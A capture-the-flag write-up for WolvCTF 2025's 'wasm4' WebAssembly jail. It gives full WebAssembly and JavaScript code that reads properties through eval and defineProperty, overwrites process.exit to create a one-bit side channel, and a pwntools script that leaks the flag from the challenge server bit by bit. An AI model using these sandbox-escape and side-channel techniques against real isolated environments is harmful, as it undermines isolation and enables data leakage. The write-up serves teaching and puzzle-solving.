WolvCTF 2025: "wasm4"

index

Challenge Breakdown

Wasm 4 is a WebAssembly jail with a simple premise: you are allowed to write any WebAssembly module; you are given the object { 'i': globalThis } as your imports, meaning you can import anything from globalThis; your goal is to call the win function, as follows.

1
function win(key) {
2
    if (key === '🥺') {
3
        console.log("wctf{redacted-flag}");
4
    }
5
}
6

7
globalThis.win = win;

If we can somehow, from WebAssembly, construct the string '🥺' and pass it to win, we get the flag.

WebAssembly References

At first, I had no idea how to approach this challenge. To keep it brief, I spent the first few hours staring at JavaScript and WebAssembly docs, until I discovered the WebAssembly externref type.

externref is a type from the Reference Types proposal that represents an opaque JavaScript object. WebAssembly cannot modify or interact with these objects, but it can hold these objects on its stack and pass them to and fro JavaScript. externref is critical to this challenge, it means we can actually work with JavaScript objects to an extent.

As an aside, when I first discovered the Reference Types proposal, I looked for other WebAssembly proposals that might be useful. I found the Reference-Typed Strings proposal, which allows WebAssembly to directly work with, modify, and create JavaScript strings. So… challenge solved? Well, I tried writing a small test solve with this locally, and unfortunately…

1
Compiling function #4 failed: Invalid opcode 0xfb (enable with --experimental-wasm-stringref)

Luckily, however, the Reference Types proposal works out-of-the-box.

The Gameplan

At this point, my plan looked like this:

Somehow call String.fromCharCode to get the winning string.
Call win.

With WebAssembly, all imports are in the form of module.name. That is, since our imports object is { 'i': globalThis }, we could import, say, the function eval from globalThis by using "i" as our module and "eval" as our name. Unfortunately, WebAssembly does not allow hierarchical module names. We cannot import String.fromCharCode by using "i.String" as our module and "fromCharCode" as our name.

If we want to call String.fromCharCode, we will have to first somehow read the property fromCharCode from String, then call it.

Reading Object Properties (part 1)

Reading object properties will have to take place purely through JavaScript function calls, as that is the only way we can interact with JavaScript objects from WebAssembly. So, we will have to find some useful built-in functions to work with.

From experience, I know that all JavaScript objects have several built-in properties like constructor and __proto__. This means that, although our imports object, { 'i': globalThis }, is only explicitly defined as having the module "i" , we can also use the built-in properties of the imports object as modules to import functions from. This gives us a few more options in terms of functions we can use.

I wrote a tiny script based off this gist to list all importable functions available. The functions that immediately stood out to me were:

globalThis.decodeURI, globalThis.decodeURIComponent, globalThis.encodeURI, globalThis.encodeURIComponent, globalThis.escape, and globalThis.unescape. These can all modify strings.
globalThis.eval. If we can somehow craft a string containing JavaScript code, we win. But, crafting a string containing the right JavaScript code is no easier than crafting our target string '🥺'.
globalThis.atob. If we can somehow craft the Base64-encoded version of '🥺', we can decode it with atob. But again, crafting the Base64-encoded version is no easier than crafting '🥺'.
globalThis.btoa. btoa encodes an input value in Base64.
{}.__lookupGetter__.call. This method seems useful for reading object properties, but is actually completely useless for our purposes. __lookupGetter__ only returns something if there is a getter function defined for a property. Most properties, including the property String.fromCharCode, are not defined with getter functions.
{}.constructor.getOwnPropertyDescriptor, {}.constructor.defineProperty, and {}.constructor.getOwnPropertyNames. Bingo!

Object.getOwnPropertyDescriptor takes two parameters: an object and a string containing a property name. It returns a property descriptor, which looks like this (example from here):

1
let o, d;
2

3
o = { bar: 42 };
4
d = Object.getOwnPropertyDescriptor(o, "bar");
5
console.log(d);
6
// {
7
//   configurable: true,
8
//   enumerable: true,
9
//   value: 42,
10
//   writable: true
11
// }

Object.defineProperty is similar to Object.getOwnPropertyDescriptor, but instead of reading a property descriptor, it writes a property based off a property descriptor.

Object.getOwnPropertyNames takes in an object and returns an array of all names of properties defined by that object.

This is certainly a step in the right direction in terms of reading object properties. But, because getOwnPropertyDescriptor returns a property descriptor rather than just the property value itself, we still cannot access the property value from WebAssembly. We would have to somehow do another property read, this time reading the .value property from the property descriptor itself to get the original property’s value.

Reading Object Properties (part 2)

This seems like a dead-end, because we now need to be able to read a property in order to read a property.

However, I realized that by combining a few tactics, we are in fact able to read properties with this method. Here’s what I figured out:

Generate a string that is a valid JavaScript identifier. We can use btoa for this. We will assign this string to the local variable $str1.
Call Object.getOwnPropertyDescriptor. We will assign this descriptor to the local variable $descriptor.
Call Object.defineProperty(globalThis, $str1, $descriptor).
Call eval($str1). The return value is our target property’s value!

To understand more concretely why this works, here’s an example JavaScript implementation of this concept:

1
const obj = { val: 42 };
2
const property = 'val';
3

4
// We want to read obj.val
5

6
const str1 = btoa(123);
7
console.log(str1);
8
// outputs: 'MTIz'
9

10
const descriptor = Object.getOwnPropertyDescriptor(obj, property);
11
console.log(descriptor);
12
// outputs: { value: 42, ... }
13

14
Object.defineProperty(globalThis, str1, descriptor);
15
console.log(globalThis.MTIz);
16
// outputs: 42
17

18
console.log(MTIz);
19
// outputs: 42
20
// (this works because all global variables in JavaScript are implicitly
21
// properties of globalThis)
22

23
console.log(eval('MTIz'));
24
// outputs: 42
25

26
console.log(eval(str1));
27
// outputs: 42

For future clarity, I will be referring to this technique used to read properties as the Property-Reading Method.

We can also copy properties from object A to object B with a variant of the Property-Reading Method, where instead of calling Object.defineProperty on globalThis, we call it on object B. I will be referring to this technique as the Property-Copying Method. To be pedantic, we also skip the btoa and eval calls in the Property-Copying Method.

Reading Object Properties (part 3)

The Property-Reading Method certainly works, but it has one caveat: we first need to somehow get the property’s name as a string. Fortunately, this is not too difficult, thanks to the Object.getOwnPropertyNames function.

We first call Object.getOwnPropertyNames, which, as previously stated, takes in an object and returns an array of all names of properties defined by that object. Then, we can use our Property-Reading Method on the returned array itself to index into it.

This works because, in JavaScript, elements of an array are considered as “properties” with their numeric index as their “property name.” However, unlike strings, we are able to arbitrary construct numbers from WebAssembly to use as the “property name.”

Now, putting everything together, this is our strategy to read the property String.fromCharCode, in JavaScript form:

1
const str1 = btoa(123);
2
console.log(str1);
3
// 'MTIz'
4

5
const names = Object.getOwnPropertyNames(String);
6
console.log(names);
7
// [
8
//     'length',
9
//     'name',
10
//     'prototype',
11
//     'fromCharCode',
12
//     'fromCodePoint',
13
//     'raw'
14
// ]
15

16
const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);
17
console.log(descriptor1);
18
// { value: 'fromCharCode', ... }
19

20
Object.defineProperty(globalThis, str1, descriptor1);
21
console.log(MTIz);
22
// 'fromCharCode'
23

24
const fromCharCodeStr = eval(str1);
25
console.log(fromCharCodeStr);
26
// 'fromCharCode'
27

28
const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);
29
console.log(descriptor2);
30
// { value: [Function: fromCharCode], ... }
31

32
Object.defineProperty(globalThis, str1, descriptor2);
33
console.log(MTIz);
34
// [Function: fromCharCode]
35

36
const fromCharCode = eval(str1);
37
console.log(fromCharCode);
38
// [Function: fromCharCode]

In WebAssembly form:

1
(module
2
    (import "i" "globalThis" (global $globalThis externref))
3
    (import "i" "String" (global $String externref))
4
    (import "i" "eval" (func $eval (param externref) (result externref)))
5
    (import "i" "btoa" (func $btoa (param i32) (result externref)))
6
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref)))
7
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref)))
8
    (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref)))
9
    (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref)))
10

11
    (func (export "main") (result externref)
12
        (local $str1 externref)
13
        (local $names externref)
14
        (local $descriptor1 externref)
15
        (local $descriptor2 externref)
16
        (local $fromCharCodeStr externref)
17
        (local $fromCharCode externref)
18

19
        ;; const str1 = btoa(123);
20
        i32.const 123
21
        call $btoa
22
        local.set $str1
23

24
        ;; const names = Object.getOwnPropertyNames(String);
25
        global.get $String
26
        call $getOwnPropertyNames
27
        local.set $names
28

29
        ;; const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);
30
        local.get $names
31
        i32.const 3
32
        call $getOwnPropertyDescriptorNum
33
        local.set $descriptor1
34

35
        ;; Object.defineProperty(globalThis, str1, descriptor1);
36
        global.get $globalThis
37
        local.get $str1
38
        local.get $descriptor1
39
        call $defineProperty
40

41
        ;; const fromCharCodeStr = eval(str1);
42
        local.get $str1
43
        call $eval
44
        local.set $fromCharCodeStr
45

46
        ;; const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);
47
        global.get $String
48
        local.get $fromCharCodeStr
49
        call $getOwnPropertyDescriptor
50
        local.set $descriptor2
51

52
        ;; Object.defineProperty(globalThis, str1, descriptor2);
53
        global.get $globalThis
54
        local.get $str1
55
        local.get $descriptor2
56
        call $defineProperty
57

58
        ;; const fromCharCode = eval(str1);
59
        local.get $str1
60
        call $eval
61
        local.set $fromCharCode
62

63
        ;; return fromCharCode for debugging purposes
64
        local.get $fromCharCode
65
        return
66
    )
67
)

If we patch the challenge to print out the return value of main, then assemble and run our program locally…

1
> wat2wasm.exe wasm4.wat
2
> node 4.js
3
>>> 0061736d0100000001210660016f016f60017f016f60026f7f016f60026f6f016f60036f6f6f006000016f02bc010801690a676c6f62616c54686973036f00016906537472696e67036f000169046576616c000001690462746f6100010b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200020b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200030b636f6e7374727563746f72136765744f776e50726f70657274794e616d657300000b636f6e7374727563746f720e646566696e6550726f7065727479000403020105070801046d61696e00060a42014001066f41fb0010012100230110042101200141031002210223002000200210052000100021042301200410032103230020002003100520001000210520050f0b
4
[Function: fromCharCode]

Hooray! We now have String.fromCharCode. All that’s left is to call it and win!

Not Quite…

When I first looked at the Reference Types proposal, I had seen some talk of a call_ref instruction, and just assumed that this instruction meant that we if we had a JavaScript function in an externref value, we could call it.

Well. Turns out, call_ref is for another reference type called funcref, not externref. And funcref can only refer to WebAssembly functions, not JavaScript ones. Damn. We have String.fromCharCode, but no way to call it.

I looked for a bit for built-in JavaScript functions that would take in a function as a parameter, call it for me, and return the return value, but did not find any such functions that were accessible to import.

However, I did notice this suspicious little call to process.exit after our WebAssembly code is run. Here is the full snippet from the challenge source:

1
let wasmMod = new WebAssembly.Module(new Uint8Array(parseHex(result)));
2
let instance = new WebAssembly.Instance(wasmMod, { 'i': globalThis });
3

4
instance.exports.main();
5

6
process.exit(0);

We know how to copy properties from one object to another. So, theoretically, we could overwrite process.exit with another function to invoke it with the argument 0.

This is not very useful, though. To get our winning string, we need to invoke String.fromCharCode with the argument 55358, not 0. Furthermore, we would need to somehow get the return value, and subsequently call win with it.

Side-channeling?

Overwriting process.exit, however, does allow us to do one very powerful thing: exfiltrate information from our WebAssembly code. We can exfiltrate exactly one bit of information, and here’s how:

To exfiltrate the bit 0, do nothing.
To exfiltrate the bit 1, use our Property-Copying Method to overwrite process.exit with console.log, so that a 0 is printed to the console.

We will know what the exfiltrated bit is by whether or not something is printed to the console. In essence, side-channeling. Realizing that we can exfiltrate a single bit made me realize that there is a way to solve this challenge without calling win.

Side-channeling.

From experience, I know that in JavaScript, stringifying a function will return its source code. This means that if we stringify the win function, the resulting string will contain the flag. We can read out a flag character from the win function’s source code, then exfiltrate the character bit-by-bit. Rinse and repeat for the remaining characters, and we win.

In JavaScript, our solution looks like this:

1
const charIndex = 64;
2
const mask = 0x01;
3

4
// We want to exfiltrate the bit (win.toString()[charIndex] & mask)
5
const str1 = btoa(123);
6
const str2 = btoa(124);
7

8
const winSource = unescape(win);    // Use unescape to stringify.
9

10
// Property-Reading Method to read winSource[charIndex]
11
Object.defineProperty(global, str1, Object.getOwnPropertyDescriptor(
12
    winSource, charIndex
13
));
14

15
// Property-Reading Method to read Buffer(winSource[charIndex])[0]
16
//
17
// This is necessary to convert our char from a string to its char code.
18
//
19
// Also, from here on out, str2 will be used instead of str1 because the
20
// property descriptor of winSource[charIndex] is not configurable, so we
21
// cannot redefine global[str1].
22
Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
23
    Buffer(eval(str1)), 0
24
))
25

26
if ((eval(str2) & mask) !== 0) {
27
    // Our bit is a 1, so we need to overwrite process.exit with
28
    // console.log
29

30
    // Property-Reading Method to get string "log"
31
    Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
32
        Object.getOwnPropertyNames(console), 0
33
    ));
34
    const logStr = eval(str2);
35

36
    // Property-Reading Method to get string "exit"
37
    Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
38
        Object.getOwnPropertyNames(process), 31
39
    ));
40
    const exitStr = eval(str2);
41

42
    // Property-Copying Method to assign console.log to process.exit
43
    Object.defineProperty(process, exitStr, Object.getOwnPropertyDescriptor(
44
        console, logStr
45
    ));
46
}

Now, we just write a WebAssembly version, attach a small Python program to build up the flag bit-by-bit, and voila!

wctf{pr0l1f1c_1mp0rt3r}

Solve Scripts

1
(module
2
    (import "i" "global" (global $global externref))
3
    (import "i" "console" (global $console externref))
4
    (import "i" "process" (global $process externref))
5
    (import "i" "win" (global $win externref))
6
    (import "i" "Buffer" (func $Buffer (param externref) (result externref)))
7
    (import "i" "unescape" (func $unescape (param externref) (result externref)))
8
    (import "i" "eval" (func $evalInt (param externref) (result i32)))
9
    (import "i" "eval" (func $eval (param externref) (result externref)))
10
    (import "i" "btoa" (func $btoa (param i32) (result externref)))
11
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref)))
12
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref)))
13
    (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref)))
14
    (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref) (result externref)))
15

16
    (func (export "main")
17
        (local $str1 externref)
18
        (local $str2 externref)
19
        (local $winSource externref)
20
        (local $logStr externref)
21
        (local $exitStr externref)
22
        i32.const 123
23
        call $btoa
24
        local.set $str1
25
        i32.const 124
26
        call $btoa
27
        local.set $str2
28

29

30

31
        global.get $win
32
        call $unescape
33
        local.set $winSource
34

35
        ;; read char from source
36
        global.get $global
37
        local.get $str2
38
        global.get $global
39
        local.get $str1
40

41
        local.get $winSource
42
        i32.const 0x1337
43
        call $getOwnPropertyDescriptorNum
44

45
        call $defineProperty
46
        drop
47

48
        local.get $str1
49
        call $eval
50

51
        call $Buffer
52
        i32.const 0
53
        call $getOwnPropertyDescriptorNum
54

55
        call $defineProperty
56
        drop
57

58
        local.get $str2
59
        call $evalInt
60

61
        ;; mask bit we want to side channel
62
        i32.const 0x1338
63
        i32.and
64

65
        ;; side channel bit
66
        (if
67
            (then
68
                ;; bit is a 1, print a 0
69

70
                ;; get string "log"
71
                global.get $global
72
                local.get $str2
73

74
                global.get $console
75
                call $getOwnPropertyNames
76

77
                i32.const 0
78
                call $getOwnPropertyDescriptorNum
79

80
                call $defineProperty
81
                drop
82

83
                local.get $str2
84
                call $eval
85
                local.set $logStr
86

87
                ;; get string "exit"
88
                global.get $global
89
                local.get $str2
90

91
                global.get $process
92
                call $getOwnPropertyNames
93

94
                i32.const 0x1339
95
                call $getOwnPropertyDescriptorNum
96

97
                call $defineProperty
98
                drop
99

100
                local.get $str2
101
                call $eval
102
                local.set $exitStr
103

104
                ;; assign console.log to process.exit
105
                global.get $process
106
                local.get $exitStr
107

108
                global.get $console
109
                local.get $logStr
110
                call $getOwnPropertyDescriptor
111

112
                call $defineProperty
113
                drop
114
            )
115
            (else
116
                ;; bit is a 0, do nothing
117
                nop
118
            )
119
        )
120
    )
121
)

1
import pwn
2

3
# wctf{pr0l1f1c_1mp0rt3r}
4

5
pwn.context.log_level = 'error'
6

7
payload = open('wasm4.wasm', 'rb').read()
8
codeIndex = payload.rindex(bytes.fromhex('0A'))
9
payloadStart = payload[:codeIndex]
10
templateCode = payload[codeIndex + 4:]
11

12
def leb128(n: int):
13
    result = b''
14
    while True:
15
        byte = n & 0x7f
16
        n >>= 7
17
        if (n == 0 and byte & 0x40 == 0) or (n == -1 and byte & 0x40 != 0):
18
            result += bytes([byte])
19
            break
20
        result += bytes([byte | 0x80])
21
    return result
22

23
def generatePayload(i: int, mask: int, t: int):
24
    code = templateCode.replace(leb128(0x1337), leb128(i)).replace(leb128(0x1338), leb128(mask)).replace(leb128(0x1339), leb128(t))
25
    code = bytes.fromhex('01') + leb128(len(code)) + code
26
    payload = payloadStart + bytes.fromhex('0A') + leb128(len(code)) + code
27
    return payload
28

29
def sideChannelChar(index: int):
30
    c = 0
31
    for i in range(7):
32
        r = pwn.remote('wasm4.kctf-453514-codelab.kctf.cloud', 1337)
33
        r.sendlineafter(b'>>> ', generatePayload(index, 1 << i, 31).hex().encode())
34

35
        try:
36
            r.recvline()
37
            c |= 1 << i
38
        except EOFError:
39
            pass
40

41
        r.close()
42

43
    return chr(c)
44

45
i = 64
46
while True:
47
    print(sideChannelChar(i), end='')
48
    i += 1

The Intended Solution

I think it’s quite obvious here that completely bypassing the calling of the win function is not intended.

Here’s the intended solution:

1
(module
2
  (import "i" "win" (func $win (param externref)))
3
  (import "i" "Array" (func $Array (param i32 i32 i32 i32) (result externref)))
4
  (import "i" "Buffer" (func $Buffer (param externref) (result externref)))
5
  (import "i" "String" (func $String (param externref) (result externref)))
6

7
  (func (export "main")
8
    i32.const 0xf0
9
    i32.const 0x9f
10
    i32.const 0xa5
11
    i32.const 0xba
12
    call $Array  ;; Array(0xf0, 0x9f, 0xa5, 0xba)
13
    call $Buffer  ;; Buffer(Array(...))
14
    call $String  ;; String(Buffer(...))
15
    call $win
16
  )
17
)

Yeah… so I might’ve overcomplicated this a bit.